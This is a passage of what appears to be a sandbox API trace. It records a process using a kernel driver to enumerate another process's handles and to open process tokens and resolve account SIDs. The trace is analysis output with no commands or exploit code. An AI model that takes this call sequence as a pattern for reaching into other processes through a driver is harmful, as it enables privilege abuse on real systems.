ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.759] PsAcquireProcessExitSynchronization () returned 0x0 [0136.759] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.759] ObReferenceObjectByHandle (in: Handle=0x42c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800342da70, HandleInformation=0x0) returned 0x0 [0136.759] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.760] PsReleaseProcessExitSynchronization () returned 0x2 [0136.760] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.760] ObQueryNameString (in: Object=0xfffffa800342da70, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.760] ObfDereferenceObject (Object=0xfffffa800342da70) returned 0x2 [0136.760] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.760] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.760] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.760] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0136.760] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.760] PsAcquireProcessExitSynchronization () returned 0x0 [0136.760] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.760] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800352fd10, HandleInformation=0x0) returned 0x0 [0136.760] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.760] PsReleaseProcessExitSynchronization () returned 0x2 [0136.760] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.760] ObQueryNameString (in: Object=0xfffffa800352fd10, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.760] ObfDereferenceObject (Object=0xfffffa800352fd10) returned 0x1 [0136.760] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.760] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.760] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.760] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0136.760] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.760] PsAcquireProcessExitSynchronization () returned 0x0 [0136.760] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.760] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800352d3b0, HandleInformation=0x0) returned 0x0 [0136.760] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.760] PsReleaseProcessExitSynchronization () returned 0x2 [0136.760] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.760] ObQueryNameString (in: Object=0xfffffa800352d3b0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.760] ObfDereferenceObject (Object=0xfffffa800352d3b0) returned 0x1 [0136.760] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.761] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.761] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.761] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.761] PsAcquireProcessExitSynchronization () returned 0x0 [0136.761] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.761] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019c4700, HandleInformation=0x0) returned 0x0 [0136.761] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.761] PsReleaseProcessExitSynchronization () returned 0x2 [0136.761] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.761] ObQueryNameString (in: Object=0xfffff8a0019c4700, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.761] ObfDereferenceObject (Object=0xfffff8a0019c4700) returned 0x1 [0136.761] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.761] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.761] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0136.761] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.761] PsAcquireProcessExitSynchronization () returned 0x0 [0136.761] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.761] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028d9070, HandleInformation=0x0) returned 0x0 [0136.761] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.761] PsReleaseProcessExitSynchronization () returned 0x2 [0136.761] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.761] ObQueryNameString (in: Object=0xfffffa80028d9070, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.761] ObfDereferenceObject (Object=0xfffffa80028d9070) returned 0x1 [0136.761] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.761] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.761] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.761] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.761] PsAcquireProcessExitSynchronization () returned 0x0 [0136.761] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.762] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0016d24a0, HandleInformation=0x0) returned 0x0 [0136.762] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.762] PsReleaseProcessExitSynchronization () returned 0x2 [0136.762] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.762] ObQueryNameString (in: Object=0xfffff8a0016d24a0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.762] ObfDereferenceObject (Object=0xfffff8a0016d24a0) returned 0x1 [0136.762] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.762] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.762] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.762] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.762] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.762] PsAcquireProcessExitSynchronization () returned 0x0 [0136.762] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.762] ObReferenceObjectByHandle (in: Handle=0x548, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80035908c0, HandleInformation=0x0) returned 0x0 [0136.762] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.762] PsReleaseProcessExitSynchronization () returned 0x2 [0136.762] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.762] ObQueryNameString (in: Object=0xfffffa80035908c0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.762] ObfDereferenceObject (Object=0xfffffa80035908c0) returned 0x1 [0136.762] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.762] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.762] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.762] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.762] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.762] PsAcquireProcessExitSynchronization () returned 0x0 [0136.762] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.762] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003409d00, HandleInformation=0x0) returned 0x0 [0136.762] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.762] PsReleaseProcessExitSynchronization () returned 0x2 [0136.762] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.762] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.762] ObfDereferenceObject (Object=0xfffffa8003409d00) returned 0x1 [0136.762] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.763] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.763] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0136.763] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.763] PsAcquireProcessExitSynchronization () returned 0x0 [0136.763] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.763] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003571970, HandleInformation=0x0) returned 0x0 [0136.763] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.763] PsReleaseProcessExitSynchronization () returned 0x2 [0136.763] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.763] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.763] ObfDereferenceObject (Object=0xfffffa8003571970) returned 0x1 [0136.763] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.763] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.763] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0136.763] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.763] PsAcquireProcessExitSynchronization () returned 0x0 [0136.763] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.763] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003c36ce0, HandleInformation=0x0) returned 0x0 [0136.763] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.763] PsReleaseProcessExitSynchronization () returned 0x2 [0136.763] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.763] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.763] ObfDereferenceObject (Object=0xfffffa8003c36ce0) returned 0x1 [0136.763] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.763] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.763] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0136.763] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.763] PsAcquireProcessExitSynchronization () returned 0x0 [0136.763] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.763] ObReferenceObjectByHandle (in: Handle=0x5b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003c36970, HandleInformation=0x0) returned 0x0 [0136.763] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.763] PsReleaseProcessExitSynchronization () returned 0x2 [0136.763] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.764] ObQueryNameString (in: Object=0xfffffa8003c36970, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.764] ObfDereferenceObject (Object=0xfffffa8003c36970) returned 0x1 [0136.764] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.764] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.764] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.764] PsAcquireProcessExitSynchronization () returned 0x0 [0136.764] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.764] ObReferenceObjectByHandle (in: Handle=0x5c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0136.764] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.764] PsReleaseProcessExitSynchronization () returned 0x2 [0136.764] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.764] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.764] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0136.764] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.764] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.764] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x434) returned 0xc0 [0136.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.764] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8003223790, HandleInformation=0x0) returned 0x0 [0136.764] ObOpenObjectByPointer (in: Object=0xfffffa8003223790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.764] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2d [0136.764] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.764] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.764] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.764] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.764] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.893] CloseHandle (hObject=0xc8) returned 1 [0136.893] CloseHandle (hObject=0xc0) returned 1 [0136.893] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.893] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.893] PsAcquireProcessExitSynchronization () returned 0x0 [0136.893] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880054735d0) [0136.893] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003224b20, HandleInformation=0x0) returned 0x0 [0136.893] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.893] PsReleaseProcessExitSynchronization () returned 0x2 [0136.893] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0136.893] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0136.893] ObfDereferenceObject (Object=0xfffffa8003224b20) returned 0x1 [0136.893] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.893] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.893] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.893] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.894] PsAcquireProcessExitSynchronization () returned 0x0 [0136.894] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880054735d0) [0136.894] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0136.894] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.894] PsReleaseProcessExitSynchronization () returned 0x2 [0136.894] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0136.894] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.894] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0136.894] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.894] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.894] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xc0 [0136.894] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.894] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8003232060, HandleInformation=0x0) returned 0x0 [0136.894] ObOpenObjectByPointer (in: Object=0xfffffa8003232060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | 